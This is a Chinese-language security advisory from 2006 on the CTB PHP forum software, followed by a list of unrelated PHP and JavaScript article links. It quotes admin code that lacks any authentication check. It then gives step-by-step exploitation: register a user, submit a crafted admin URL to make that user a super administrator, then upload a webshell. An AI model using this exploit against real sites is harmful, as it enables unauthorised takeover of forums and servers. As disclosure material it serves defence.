漂亮但不安全的CTB


Posted in PHP onOctober 09, 2006

>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(现在1.3Alpha为最高版本) 

描述: 
^^^^^^ 
CTB是一款由实易数码<11cn.org>;开发和维护的源代码开放的PHP论坛。由于其后台管理文件验证存在缺陷,可能导致非法用户直接添加论坛超级管理员,进而威胁论坛或服务器安全。 

具体: 
^^^^ 
CTB书写非常规范,代码井然有序,赏心悦目,的确是优美的程序;特别是其功能模块,着实让小弟学习了一把。但安全方面却令人堪忧: 

试看如下代码: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //获取get变量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化类变量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

这里没有任何验证,我们看看添加管理员的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系统管理模块子类 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //输入数据简单格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //执行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然没有验证,一路顺利啊! 

利用方法: 
^^^^^^^ 
先注册一个用户: 

登陆ID:  cat 
用户名 :   dog 
密码:      ilikecat 
重复密码:  ilikecat 
信箱:      cat@dog.com 

接着提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你现在已经是超级管理员了,不相信?提交如下URL后台登陆: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名称:  cat 
管理密码:  ilikecat 

咦...还真成功了! 

你现在是不是想更改后台上传文件类型,然后upload webshell?哼,被我猜到了吧... 

后记:另外发现CTB代码注释有些扎眼的错别字,大煞风景,希望可以一起修正。

PHP 相关文章推荐
Apache, PHP在Windows 9x/NT下的安装与配置 (二)
Oct 09 PHP
php获取mysql版本的几种方法小结
Mar 25 PHP
php下HTTP Response中的Chunked编码实现方法
Nov 19 PHP
PHP网站备份程序代码分享
Jun 10 PHP
解析在PHP中使用mysqli扩展库对mysql的操作
Jul 03 PHP
php中如何判断一个网页请求是ajax请求还是普通请求
Aug 10 PHP
图解找出PHP配置文件php.ini的路径的方法
Aug 20 PHP
php实现给图片加灰色半透明效果的方法
Oct 20 PHP
php把数组值转换成键的方法
Jul 13 PHP
php结合md5的加密解密算法实例
Sep 30 PHP
php ZipArchive实现多文件打包下载实例
Oct 31 PHP
php 中self,this的区别和操作方法实例分析
Nov 04 PHP
自动跳转中英文页面
Oct 09 #PHP
随机头像PHP版
Oct 09 #PHP
1.PHP简介
Oct 09 #PHP
5.PHP的其他功能
Oct 09 #PHP
2.PHP入门
Oct 09 #PHP
4.与数据库的连接
Oct 09 #PHP
利用PHP创建动态图像
Oct 09 #PHP
You might like
删除数组元素实用的PHP数组函数
2008/08/18 PHP
php加密解密函数authcode的用法详细解析
2013/10/28 PHP
PHP连接sftp并下载文件的方法教程
2018/08/26 PHP
jquery ajax post提交数据乱码
2013/11/05 Javascript
JavaScript中instanceof运算符的用法总结
2013/11/19 Javascript
js获取某元素的class里面的css属性值代码
2014/01/16 Javascript
小米公司JavaScript面试题
2014/12/29 Javascript
编写自己的jQuery提示框(Tip)插件
2015/02/05 Javascript
JQuery给select添加/删除节点的实现代码
2016/04/26 Javascript
JS 调用微信扫一扫功能
2016/12/22 Javascript
jQuery插件FusionCharts绘制的2D帕累托图效果示例【附demo源码】
2017/03/28 jQuery
JavaScript调试之console.log调试的一个小技巧分享
2017/08/07 Javascript
Vue 表单控件绑定的实现示例
2017/08/11 Javascript
基于Two.js实现星球环绕动画效果的示例
2017/11/06 Javascript
Vue中的混入的使用(vue mixins)
2018/06/01 Javascript
解决使用layui对select append元素无效或者未及时更新的问题
2019/09/18 Javascript
Vue如何跨组件传递Slot的实现
2020/12/14 Vue.js
[03:48]2014DOTA2 TI专访71DK夺冠不靠小组赛高排名
2014/07/11 DOTA
Python创建对称矩阵的方法示例【基于numpy模块】
2017/10/12 Python
数据清洗--DataFrame中的空值处理方法
2018/07/03 Python
python中文编码与json中文输出问题详解
2018/08/24 Python
PyQt5 对图片进行缩放的实例
2019/06/18 Python
详解pandas删除缺失数据(pd.dropna()方法)
2019/06/25 Python
使用python将mysql数据库的数据转换为json数据的方法
2019/07/01 Python
python获取txt文件词向量过程详解
2019/07/05 Python
selenium+python配置chrome浏览器的选项的实现
2020/03/18 Python
德国购买踏板车网站:Microscooter
2019/10/14 全球购物
若干个Java基础面试题
2015/05/19 面试题
高一历史教学反思
2014/01/13 职场文书
员工安全责任书范本
2014/07/24 职场文书
普通话演讲稿
2014/09/03 职场文书
专题民主生活会对照检查材料思想汇报
2014/09/29 职场文书
研讨会通知
2015/04/27 职场文书
2015年办公室文秘工作总结
2015/04/30 职场文书
入党介绍人意见范文
2015/06/01 职场文书
深入解读Java三大集合之map list set的用法
2021/11/11 Java/Android